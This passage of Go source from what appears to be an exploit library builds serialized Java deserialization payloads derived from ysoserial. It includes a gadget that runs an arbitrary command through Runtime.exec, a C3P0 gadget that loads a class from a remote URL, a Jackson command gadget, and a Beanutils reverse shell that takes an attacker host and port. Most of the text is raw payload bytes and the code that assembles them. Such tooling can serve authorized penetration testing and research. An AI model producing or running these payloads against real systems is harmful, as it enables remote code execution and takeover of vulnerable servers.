"\x61\x6e\x73\x66\x6f\x72\x6d\x01\x00\x72\x28\x4c" + "\x63\x6f\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f" + "\x61\x70\x61\x63\x68\x65\x2f\x78\x61\x6c\x61\x6e" + "\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x78\x73" + "\x6c\x74\x63\x2f\x44\x4f\x4d\x3b\x5b\x4c\x63\x6f" + "\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70" + "\x61\x63\x68\x65\x2f\x78\x6d\x6c\x2f\x69\x6e\x74" + "\x65\x72\x6e\x61\x6c\x2f\x73\x65\x72\x69\x61\x6c" + "\x69\x7a\x65\x72\x2f\x53\x65\x72\x69\x61\x6c\x69" + "\x7a\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65" + "\x72\x3b\x29\x56\x01\x00\x08\x64\x6f\x63\x75\x6d" + "\x65\x6e\x74\x01\x00\x2d\x4c\x63\x6f\x6d\x2f\x73" + "\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68" + "\x65\x2f\x78\x61\x6c\x61\x6e\x2f\x69\x6e\x74\x65" + "\x72\x6e\x61\x6c\x2f\x78\x73\x6c\x74\x63\x2f\x44" + "\x4f\x4d\x3b\x01\x00\x08\x68\x61\x6e\x64\x6c\x65" + "\x72\x73\x01\x00\x42\x5b\x4c\x63\x6f\x6d\x2f\x73" + "\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68" + "\x65\x2f\x78\x6d\x6c\x2f\x69\x6e\x74\x65\x72\x6e" + "\x61\x6c\x2f\x73\x65\x72\x69\x61\x6c\x69\x7a\x65" + "\x72\x2f\x53\x65\x72\x69\x61\x6c\x69\x7a\x61\x74" + "\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x01" + "\x00\x0a\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73" + "\x07\x00\x27\x01\x00\xa6\x28\x4c\x63\x6f\x6d\x2f" + "\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63" + "\x68\x65\x2f\x78\x61\x6c\x61\x6e\x2f\x69\x6e\x74" + "\x65\x72\x6e\x61\x6c\x2f\x78\x73\x6c\x74\x63\x2f" + "\x44\x4f\x4d\x3b\x4c\x63\x6f\x6d\x2f\x73\x75\x6e" + "\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f" + "\x78\x6d\x6c\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c" + "\x2f\x64\x74\x6d\x2f\x44\x54\x4d\x41\x78\x69\x73" + "\x49\x74\x65\x72\x61\x74\x6f\x72\x3b\x4c\x63\x6f" + "\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70" + "\x61\x63\x68\x65\x2f\x78\x6d\x6c\x2f\x69\x6e\x74" + "\x65\x72\x6e\x61\x6c\x2f\x73\x65\x72\x69\x61\x6c" + "\x69\x7a\x65\x72\x2f\x53\x65\x72\x69\x61\x6c\x69" + "\x7a\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65" + "\x72\x3b\x29\x56\x01\x00\x08\x69\x74\x65\x72\x61" + "\x74\x6f\x72\x01\x00\x35\x4c\x63\x6f\x6d\x2f\x73" + "\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68" + "\x65\x2f\x78\x6d\x6c\x2f\x69\x6e\x74\x65\x72\x6e" + "\x61\x6c\x2f\x64\x74\x6d\x2f\x44\x54\x4d\x41\x78" + "\x69\x73\x49\x74\x65\x72\x61\x74\x6f\x72\x3b\x01" + "\x00\x07\x68\x61\x6e\x64\x6c\x65\x72\x01\x00\x41" + "\x4c\x63\x6f\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67" + "\x2f\x61\x70\x61\x63\x68\x65\x2f\x78\x6d\x6c\x2f" + "\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x73\x65\x72" + "\x69\x61\x6c\x69\x7a\x65\x72\x2f\x53\x65\x72\x69" + "\x61\x6c\x69\x7a\x61\x74\x69\x6f\x6e\x48\x61\x6e" + "\x64\x6c\x65\x72\x3b\x01\x00\x0a\x53\x6f\x75\x72" + "\x63\x65\x46\x69\x6c\x65\x01\x00\x0c\x47\x61\x64" + "\x67\x65\x74\x73\x2e\x6a\x61\x76\x61\x0c\x00\x0a" + "\x00\x0b\x07\x00\x28\x01\x00\x33\x79\x73\x6f\x73" + "\x65\x72\x69\x61\x6c\x2f\x70\x61\x79\x6c\x6f\x61" + "\x64\x73\x2f\x75\x74\x69\x6c\x2f\x47\x61\x64\x67" + "\x65\x74\x73\x24\x53\x74\x75\x62\x54\x72\x61\x6e" + "\x73\x6c\x65\x74\x50\x61\x79\x6c\x6f\x61\x64\x01" + "\x00\x40\x63\x6f\x6d\x2f\x73\x75\x6e\x2f\x6f\x72" + "\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x78\x61\x6c" + "\x61\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f" + "\x78\x73\x6c\x74\x63\x2f\x72\x75\x6e\x74\x69\x6d" + "\x65\x2f\x41\x62\x73\x74\x72\x61\x63\x74\x54\x72" + "\x61\x6e\x73\x6c\x65\x74\x01\x00\x14\x6a\x61\x76" + "\x61\x2f\x69\x6f\x2f\x53\x65\x72\x69\x61\x6c\x69" + "\x7a\x61\x62\x6c\x65\x01\x00\x39\x63\x6f\x6d\x2f" + "\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63" + "\x68\x65\x2f\x78\x61\x6c\x61\x6e\x2f\x69\x6e\x74" + "\x65\x72\x6e\x61\x6c\x2f\x78\x73\x6c\x74\x63\x2f" + "\x54\x72\x61\x6e\x73\x6c\x65\x74\x45\x78\x63\x65" + "\x70\x74\x69\x6f\x6e\x01\x00\x1f\x79\x73\x6f\x73" + "\x65\x72\x69\x61\x6c\x2f\x70\x61\x79\x6c\x6f\x61" + "\x64\x73\x2f\x75\x74\x69\x6c\x2f\x47\x61\x64\x67" + "\x65\x74\x73\x01\x00\x08\x3c\x63\x6c\x69\x6e\x69" + "\x74\x3e\x01\x00\x11\x6a\x61\x76\x61\x2f\x6c\x61" + "\x6e\x67\x2f\x52\x75\x6e\x74\x69\x6d\x65\x07\x00" + "\x2a\x01\x00\x0a\x67\x65\x74\x52\x75\x6e\x74\x69" + "\x6d\x65\x01\x00\x15\x28\x29\x4c\x6a\x61\x76\x61" + "\x2f\x6c\x61\x6e\x67\x2f\x52\x75\x6e\x74\x69\x6d" + "\x65\x3b\x0c\x00\x2c\x00\x2d\x0a\x00\x2b\x00\x2e" + // 255 characters were allocated, we just put back the unused // length as spaces "\x01\x00\xff" + commandStr + strings.Repeat(" ", 0xff-len(commandStr)) + "\x08\x00\x30\x01\x00\x04" + "\x65\x78\x65\x63\x01\x00\x27\x28\x4c\x6a\x61\x76" + "\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e" + "\x67\x3b\x29\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e" + "\x67\x2f\x50\x72\x6f\x63\x65\x73\x73\x3b\x0c\x00" + "\x32\x00\x33\x0a\x00\x2b\x00\x34\x01\x00\x0d\x53" + "\x74\x61\x63\x6b\x4d\x61\x70\x54\x61\x62\x6c\x65" + "\x01\x00\x1d\x79\x73\x6f\x73\x65\x72\x69\x61\x6c" + "\x2f\x50\x77\x6e\x65\x72\x37\x34\x30\x30\x32\x30" + "\x33\x39\x32\x34\x35\x37\x39\x31\x01\x00\x1f\x4c" + "\x79\x73\x6f\x73\x65\x72\x69\x61\x6c\x2f\x50\x77" + "\x6e\x65\x72\x37\x34\x30\x30\x32\x30\x33\x39\x32" + "\x34\x35\x37\x39\x31\x3b\x00\x21\x00\x02\x00\x03" + "\x00\x01\x00\x04\x00\x01\x00\x1a\x00\x05\x00\x06" + "\x00\x01\x00\x07\x00\x00\x00\x02\x00\x08\x00\x04" + "\x00\x01\x00\x0a\x00\x0b\x00\x01\x00\x0c\x00\x00" + "\x00\x2f\x00\x01\x00\x01\x00\x00\x00\x05\x2a\xb7" + "\x00\x01\xb1\x00\x00\x00\x02\x00\x0d\x00\x00\x00" + "\x06\x00\x01\x00\x00\x00\x2f\x00\x0e\x00\x00\x00" + "\x0c\x00\x01\x00\x00\x00\x05\x00\x0f\x00\x38\x00" + "\x00\x00\x01\x00\x13\x00\x14\x00\x02\x00\x0c\x00" + "\x00\x00\x3f\x00\x00\x00\x03\x00\x00\x00\x01\xb1" + "\x00\x00\x00\x02\x00\x0d\x00\x00\x00\x06\x00\x01" + "\x00\x00\x00\x33\x00\x0e\x00\x00\x00\x20\x00\x03" + "\x00\x00\x00\x01\x00\x0f\x00\x38\x00\x00\x00\x00" + "\x00\x01\x00\x15\x00\x16\x00\x01\x00\x00\x00\x01" + "\x00\x17\x00\x18\x00\x02\x00\x19\x00\x00\x00\x04" + "\x00\x01\x00\x1a\x00\x01\x00\x13\x00\x1b\x00\x02" + "\x00\x0c\x00\x00\x00\x49\x00\x00\x00\x04\x00\x00" + "\x00\x01\xb1\x00\x00\x00\x02\x00\x0d\x00\x00\x00" + "\x06\x00\x01\x00\x00\x00\x36\x00\x0e\x00\x00\x00" + "\x2a\x00\x04\x00\x00\x00\x01\x00\x0f\x00\x38\x00" + "\x00\x00\x00\x00\x01\x00\x15\x00\x16\x00\x01\x00" + "\x00\x00\x01\x00\x1c\x00\x1d\x00\x02\x00\x00\x00" + "\x01\x00\x1e\x00\x1f\x00\x03\x00\x19\x00\x00\x00" + "\x04\x00\x01\x00\x1a\x00\x08\x00\x29\x00\x0b\x00" + "\x01\x00\x0c\x00\x00\x00\x24\x00\x03\x00\x02\x00" + "\x00\x00\x0f\xa7\x00\x03\x01\x4c\xb8\x00\x2f\x12" + "\x31\xb6\x00\x35\x57\xb1\x00\x00\x00\x01\x00\x36" + "\x00\x00\x00\x03\x00\x01\x03\x00\x02\x00\x20\x00" + "\x00\x00\x02\x00\x21\x00\x11\x00\x00\x00\x0a\x00" + "\x01\x00\x02\x00\x23\x00\x10\x00\x09\x75\x71\x00" + "\x7e\x00\x0e\x00\x00\x01\xd4\xca\xfe\xba\xbe\x00" + "\x00\x00\x32\x00\x1b\x0a\x00\x03\x00\x15\x07\x00" + "\x17\x07\x00\x18\x07\x00\x19\x01\x00\x10\x73\x65" + "\x72\x69\x61\x6c\x56\x65\x72\x73\x69\x6f\x6e\x55" + "\x49\x44\x01\x00\x01\x4a\x01\x00\x0d\x43\x6f\x6e" + "\x73\x74\x61\x6e\x74\x56\x61\x6c\x75\x65\x05\x71" + "\xe6\x69\xee\x3c\x6d\x47\x18\x01\x00\x06\x3c\x69" + "\x6e\x69\x74\x3e\x01\x00\x03\x28\x29\x56\x01\x00" + "\x04\x43\x6f\x64\x65\x01\x00\x0f\x4c\x69\x6e\x65" + "\x4e\x75\x6d\x62\x65\x72\x54\x61\x62\x6c\x65\x01" + "\x00\x12\x4c\x6f\x63\x61\x6c\x56\x61\x72\x69\x61" + "\x62\x6c\x65\x54\x61\x62\x6c\x65\x01\x00\x04\x74" + "\x68\x69\x73\x01\x00\x03\x46\x6f\x6f\x01\x00\x0c" + "\x49\x6e\x6e\x65\x72\x43\x6c\x61\x73\x73\x65\x73" + "\x01\x00\x25\x4c\x79\x73\x6f\x73\x65\x72\x69\x61" + "\x6c\x2f\x70\x61\x79\x6c\x6f\x61\x64\x73\x2f\x75" + "\x74\x69\x6c\x2f\x47\x61\x64\x67\x65\x74\x73\x24" + "\x46\x6f\x6f\x3b\x01\x00\x0a\x53\x6f\x75\x72\x63" + "\x65\x46\x69\x6c\x65\x01\x00\x0c\x47\x61\x64\x67" + "\x65\x74\x73\x2e\x6a\x61\x76\x61\x0c\x00\x0a\x00" + "\x0b\x07\x00\x1a\x01\x00\x23\x79\x73\x6f\x73\x65" + "\x72\x69\x61\x6c\x2f\x70\x61\x79\x6c\x6f\x61\x64" + "\x73\x2f\x75\x74\x69\x6c\x2f\x47\x61\x64\x67\x65" + "\x74\x73\x24\x46\x6f\x6f\x01\x00\x10\x6a\x61\x76" + "\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63" + "\x74\x01\x00\x14\x6a\x61\x76\x61\x2f\x69\x6f\x2f" + "\x53\x65\x72\x69\x61\x6c\x69\x7a\x61\x62\x6c\x65" + "\x01\x00\x1f\x79\x73\x6f\x73\x65\x72\x69\x61\x6c" + "\x2f\x70\x61\x79\x6c\x6f\x61\x64\x73\x2f\x75\x74" + "\x69\x6c\x2f\x47\x61\x64\x67\x65\x74\x73\x00\x21" + "\x00\x02\x00\x03\x00\x01\x00\x04\x00\x01\x00\x1a" + "\x00\x05\x00\x06\x00\x01\x00\x07\x00\x00\x00\x02" + "\x00\x08\x00\x01\x00\x01\x00\x0a\x00\x0b\x00\x01" + "\x00\x0c\x00\x00\x00\x2f\x00\x01\x00\x01\x00\x00" + "\x00\x05\x2a\xb7\x00\x01\xb1\x00\x00\x00\x02\x00" + "\x0d\x00\x00\x00\x06\x00\x01\x00\x00\x00\x3a\x00" + "\x0e\x00\x00\x00\x0c\x00\x01\x00\x00\x00\x05\x00" + "\x0f\x00\x12\x00\x00\x00\x02\x00\x13\x00\x00\x00" + "\x02\x00\x14\x00\x11\x00\x00\x00\x0a\x00\x01\x00" + "\x02\x00\x16\x00\x10\x00\x09\x70\x74\x00\x04\x50" + "\x77\x6e\x72\x70\x77\x01\x00\x78\x73\x72\x00\x2a" + "\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63" + "\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65" + "\x63\x74\x69\x6f\x6e\x73\x2e\x6d\x61\x70\x2e\x4c" + "\x61\x7a\x79\x4d\x61\x70\x6e\xe5\x94\x82\x9e\x79" + "\x10\x94\x03\x00\x01\x4c\x00\x07\x66\x61\x63\x74" + "\x6f\x72\x79\x74\x00\x2c\x4c\x6f\x72\x67\x2f\x61" + "\x70\x61\x63\x68\x65\x2f\x63\x6f\x6d\x6d\x6f\x6e" + "\x73\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e" + "\x73\x2f\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65" + "\x72\x3b\x78\x70\x73\x72\x00\x3a\x6f\x72\x67\x2e" + "\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f" + "\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f" + "\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e" + "\x49\x6e\x76\x6f\x6b\x65\x72\x54\x72\x61\x6e\x73" + "\x66\x6f\x72\x6d\x65\x72\x87\xe8\xff\x6b\x7b\x7c" + "\xce\x38\x02\x00\x03\x5b\x00\x05\x69\x41\x72\x67" + "\x73\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c" + "\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x4c" + "\x00\x0b\x69\x4d\x65\x74\x68\x6f\x64\x4e\x61\x6d" + "\x65\x71\x00\x7e\x00\x09\x5b\x00\x0b\x69\x50\x61" + "\x72\x61\x6d\x54\x79\x70\x65\x73\x71\x00\x7e\x00" + "\x08\x78\x70\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76" + "\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63" + "\x74\x3b\x90\xce\x58\x9f\x10\x73\x29\x6c\x02\x00" + "\x00\x78\x70\x00\x00\x00\x00\x74\x00\x0e\x6e\x65" + "\x77\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72" + "\x75\x72\x00\x12\x5b\x4c\x6a\x61\x76\x61\x2e\x6c" + "\x61\x6e\x67\x2e\x43\x6c\x61\x73\x73\x3b\xab\x16" + "\xd7\xae\xcb\xcd\x5a\x99\x02\x00\x00\x78\x70\x00" + "\x00\x00\x00\x73\x72\x00\x11\x6a\x61\x76\x61\x2e" + "\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70" + "\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46" + "\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72" + "\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64" + "\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x00\x77\x08" + "\x00\x00\x00\x10\x00\x00\x00\x00\x78\x78\x78" return payloadBytes, nil } // Load `className` from `baseURL` using `URLClassLoader`. // // Generated by ysoserial using the "C3P0" gadget chain with placeholder arguments "" and "". func C3P0ClassCallbackBytecode(baseURL, className string) (string, error) { // 16-bit (short) unsigned integer (big-endian) if len(baseURL) < 1 || len(baseURL) > 65535 { return "", ErrorInvalidCallbackArg("baseURL must be between 1 and 65535 characters") } else if len(className) < 1 || len(className) > 65535 { return "", ErrorInvalidCallbackArg("className must be between 1 and 65535 characters") } // $ java -jar ysoserial.jar C3P0 ":" gadgetBytes, err := gadgets.ReadFile(filepath.Join("gadgets", "C3P0.bin")) if err != nil { return "", fmt.Errorf("failed to read gadget: %w", err) } gadget := string(gadgetBytes) gadget = strings.ReplaceAll(gadget, "\x00\x0a", transform.PackBigInt16(len(baseURL))+baseURL) gadget = strings.ReplaceAll(gadget, "\x00\x0b", transform.PackBigInt16(len(className))+className) return gadget, nil } // https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/blob/f9e097041b08d48289c3dae004996caa28718184/src/main/java/payloads/Jackson.java func JacksonGenericCommand(cmd string) (string, error) { // 16-bit (short) unsigned integer (big-endian) if len(cmd) < 1 || len(cmd) > 65535 { return "", ErrorInvalidCommandLength("cmd must be between 1 and 65535 characters") } // $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -D Jackson -C "touch /tmp/vulnerable" gadgetBytes, err := gadgets.ReadFile(filepath.Join("gadgets", "Jackson.bin")) if err != nil { return "", fmt.Errorf("failed to read gadget: %w", err) } gadget := string(gadgetBytes) gadget = strings.ReplaceAll(gadget, "\x00\x15touch /tmp/vulnerable", transform.PackBigInt16(len(cmd))+cmd) const ( arraySizeWithCommand = "\x00\x00\x06\x54" // 1620 arraySizeWithoutCommand = 1599 ) gadget = strings.ReplaceAll(gadget, arraySizeWithCommand, transform.PackBigInt32(arraySizeWithoutCommand+len(cmd))) return gadget, nil } // This is a serialized java reverse shell. The gadget was generated by ysoserial // but using the code in this pull https://github.com/frohoff/ysoserial/pull/96 // and updated to make it easy to swap in the desired lhost+lport of our choosing // without having to recreate the gadget. // // The gadget works on both Windows and Linux and will automatically detect the platform // and tool to use for executing commands (cmd.exe or /bin/bash). // //nolint:dupword // Duplicate words () found func CreateBeanutilsReverseShell(lhost string, lport int) string { gadget := "\xac\xed\x00\x05\x73\x72\x00\x17\x6a\x61\x76\x61\x2e\x75\x74\x69" + "\x6c\x2e\x50\x72\x69\x6f\x72\x69\x74\x79\x51\x75\x65\x75\x65\x94" + "\xda\x30\xb4\xfb\x3f\x82\xb1\x03\x00\x02\x49\x00\x04\x73\x69\x7a" + "\x65\x4c\x00\x0a\x63\x6f\x6d\x70\x61\x72\x61\x74\x6f\x72\x74\x00" + "\x16\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x43\x6f\x6d\x70" + "\x61\x72\x61\x74\x6f\x72\x3b\x78\x70\x00\x00\x00\x02\x73\x72\x00" + "\x2b\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d" + "\x6f\x6e\x73\x2e\x62\x65\x61\x6e\x75\x74\x69\x6c\x73\x2e\x42\x65" + "\x61\x6e\x43\x6f\x6d\x70\x61\x72\x61\x74\x6f\x72\xe3\xa1\x88\xea" + "\x73\x22\xa4\x48\x02\x00\x02\x4c\x00\x0a\x63\x6f\x6d\x70\x61\x72" + "\x61\x74\x6f\x72\x71\x00\x7e\x00\x01\x4c\x00\x08\x70\x72\x6f\x70" + "\x65\x72\x74\x79\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e" + "\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x78\x70\x73\x72\x00\x3f\x6f" + "\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e" + "\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x63\x6f" + "\x6d\x70\x61\x72\x61\x74\x6f\x72\x73\x2e\x43\x6f\x6d\x70\x61\x72" + "\x61\x62\x6c\x65\x43\x6f\x6d\x70\x61\x72\x61\x74\x6f\x72\xfb\xf4" + "\x99\x25\xb8\x6e\xb1\x37\x02\x00\x00\x78\x70\x74\x00\x10\x6f\x75" + "\x74\x70\x75\x74\x50\x72\x6f\x70\x65\x72\x74\x69\x65\x73\x77\x04" + "\x00\x00\x00\x03\x73\x72\x00\x3a\x63\x6f\x6d\x2e\x73\x75\x6e\x2e" + "\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x78\x61\x6c\x61\x6e" + "\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x78\x73\x6c\x74\x63\x2e" + "\x74\x72\x61\x78\x2e\x54\x65\x6d\x70\x6c\x61\x74\x65\x73\x49\x6d" + "\x70\x6c\x09\x57\x4f\xc1\x6e\xac\xab\x33\x03\x00\x06\x49\x00\x0d" + "\x5f\x69\x6e\x64\x65\x6e\x74\x4e\x75\x6d\x62\x65\x72\x49\x00\x0e" + "\x5f\x74\x72\x61\x6e\x73\x6c\x65\x74\x49\x6e\x64\x65\x78\x5b\x00" + "\x0a\x5f\x62\x79\x74\x65\x63\x6f\x64\x65\x73\x74\x00\x03\x5b\x5b" + "\x42\x5b\x00\x06\x5f\x63\x6c\x61\x73\x73\x74\x00\x12\x5b\x4c\x6a" + "\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x43\x6c\x61\x73\x73\x3b\x4c" + "\x00\x05\x5f\x6e\x61\x6d\x65\x71\x00\x7e\x00\x04\x4c\x00\x11\x5f" + "\x6f\x75\x74\x70\x75\x74\x50\x72\x6f\x70\x65\x72\x74\x69\x65\x73" + "\x74\x00\x16\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x50\x72" + "\x6f\x70\x65\x72\x74\x69\x65\x73\x3b\x78\x70\x00\x00\x00\x00\xff" + "\xff\xff\xff\x75\x72\x00\x03\x5b\x5b\x42\x4b\xfd\x19\x15\x67\x67" + "\xdb\x37\x02\x00\x00\x78\x70\x00\x00\x00\x02\x75\x72\x00\x02\x5b" + "\x42\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00\x78\x70\x00\x00" + "\x10\x88\xca\xfe\xba\xbe\x00\x00\x00\x32\x00\xdb\x0a\x00\x03\x00" + "\x22\x07\x00\xd9\x07\x00\x25\x07\x00\x26\x01\x00\x10\x73\x65\x72" + "\x69\x61\x6c\x56\x65\x72\x73\x69\x6f\x6e\x55\x49\x44\x01\x00\x01" + "\x4a\x01\x00\x0d\x43\x6f\x6e\x73\x74\x61\x6e\x74\x56\x61\x6c\x75" + "\x65\x05\xad\x20\x93\xf3\x91\xdd\xef\x3e\x01\x00\x06\x3c\x69\x6e" + "\x69\x74\x3e\x01\x00\x03\x28\x29\x56\x01\x00\x04\x43\x6f\x64\x65" + "\x01\x00\x0f\x4c\x69\x6e\x65\x4e\x75\x6d\x62\x65\x72\x54\x61\x62" + "\x6c\x65\x01\x00\x12\x4c\x6f\x63\x61\x6c\x56\x61\x72\x69\x61\x62" + "\x6c\x65\x54\x61\x62\x6c\x65\x01\x00\x04\x74\x68\x69\x73\x01\x00" + "\x13\x53\x74\x75\x62\x54\x72\x61\x6e\x73\x6c\x65\x74\x50\x61\x79" + "\x6c\x6f\x61\x64\x01\x00\x0c\x49\x6e\x6e\x65\x72\x43\x6c\x61\x73" + "\x73\x65\x73\x01\x00\x35\x4c\x79\x73\x6f\x73\x65\x72\x69\x61\x6c" + "\x2f\x70\x61\x79\x6c\x6f\x61\x64\x73\x2f\x75\x74\x69\x6c\x2f\x47" + "\x61\x64\x67\x65\x74\x73\x24\x53\x74\x75\x62\x54\x72\x61\x6e\x73" + "\x6c\x65\x74\x50\x61\x79\x6c\x6f\x61\x64\x3b\x01\x00\x09\x74\x72" + "\x61\x6e\x73\x66\x6f\x72\x6d\x01\x00\x72\x28\x4c\x63\x6f\x6d\x2f" + "\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x78" + "\x61\x6c\x61\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x78\x73" + "\x6c\x74\x63\x2f\x44\x4f\x4d\x3b\x5b\x4c\x63\x6f\x6d\x2f\x73\x75" + "\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x78\x6d\x6c" + "\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x73\x65\x72\x69\x61\x6c" + "\x69\x7a\x65\x72\x2f\x53\x65\x72\x69\x61\x6c\x69\x7a\x61\x74\x69" + "\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x29\x56\x01\x00\x08\x64" + "\x6f\x63\x75\x6d\x65\x6e\x74\x01\x00\x2d\x4c\x63\x6f\x6d\x2f\x73" + "\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x78\x61" + "\x6c\x61\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x78\x73\x6c" + "\x74\x63\x2f\x44\x4f\x4d\x3b\x01\x00\x08\x68\x61\x6e\x64\x6c\x65" + "\x72\x73\x01\x00\x42\x5b\x4c\x63\x6f\x6d\x2f\x73\x75\x6e\x2f\x6f" + "\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x78\x6d\x6c\x2f\x69\x6e" + "\x74\x65\x72\x6e\x61\x6c\x2f\x73\x65\x72\x69\x61\x6c\x69\x7a\x65" + "\x72\x2f\x53\x65\x72\x69\x61\x6c\x69\x7a\x61\x74\x69\x6f\x6e\x48" + "\x61\x6e\x64\x6c\x65\x72\x3b\x01\x00\x0a\x45\x78\x63\x65\x70\x74" + "\x69\x6f\x6e\x73\x07\x00\x27\x01\x00\xa6\x28\x4c\x63\x6f\x6d\x2f" + "\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x78" + "\x61\x6c\x61\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x78\x73" + "\x6c\x74\x63\x2f\x44\x4f\x4d\x3b\x4c\x63\x6f\x6d\x2f\x73\x75\x6e" + "\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x78\x6d\x6c\x2f" + "\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x64\x74\x6d\x2f\x44\x54\x4d" + "\x41\x78\x69\x73\x49\x74\x65\x72\x61\x74\x6f\x72\x3b\x4c\x63\x6f" + "\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65" + "\x2f\x78\x6d\x6c\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x73\x65" + "\x72\x69\x61\x6c\x69\x7a\x65\x72\x2f\x53\x65\x72\x69\x61\x6c\x69" + "\x7a\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x29\x56" + "\x01\x00\x08\x69\x74\x65\x72\x61\x74\x6f\x72\x01\x00\x35\x4c\x63" + "\x6f\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68" + "\x65\x2f\x78\x6d\x6c\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x64" + "\x74\x6d\x2f\x44\x54\x4d\x41\x78\x69\x73\x49\x74\x65\x72\x61\x74" + "\x6f\x72\x3b\x01\x00\x07\x68\x61\x6e\x64\x6c\x65\x72\x01\x00\x41" + "\x4c\x63\x6f\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61" + "\x63\x68\x65\x2f\x78\x6d\x6c\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c" + "\x2f\x73\x65\x72\x69\x61\x6c\x69\x7a\x65\x72\x2f\x53\x65\x72\x69" + "\x61\x6c\x69\x7a\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72" + "\x3b\x01\x00\x0a\x53\x6f\x75\x72\x63\x65\x46\x69\x6c\x65\x01\x00" + "\x0c\x47\x61\x64\x67\x65\x74\x73\x2e\x6a\x61\x76\x61\x0c\x00\x0a" + "\x00\x0b\x07\x00\x28\x01\x00\x33\x79\x73\x6f\x73\x65\x72\x69\x61" + "\x6c\x2f\x70\x61\x79\x6c\x6f\x61\x64\x73\x2f\x75\x74\x69\x6c\x2f" + "\x47\x61\x64\x67\x65\x74\x73\x24\x53\x74\x75\x62\x54\x72\x61\x6e" + "\x73\x6c\x65\x74\x50\x61\x79\x6c\x6f\x61\x64\x01\x00\x40\x63\x6f" + "\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65" + "\x2f\x78\x61\x6c\x61\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f" + 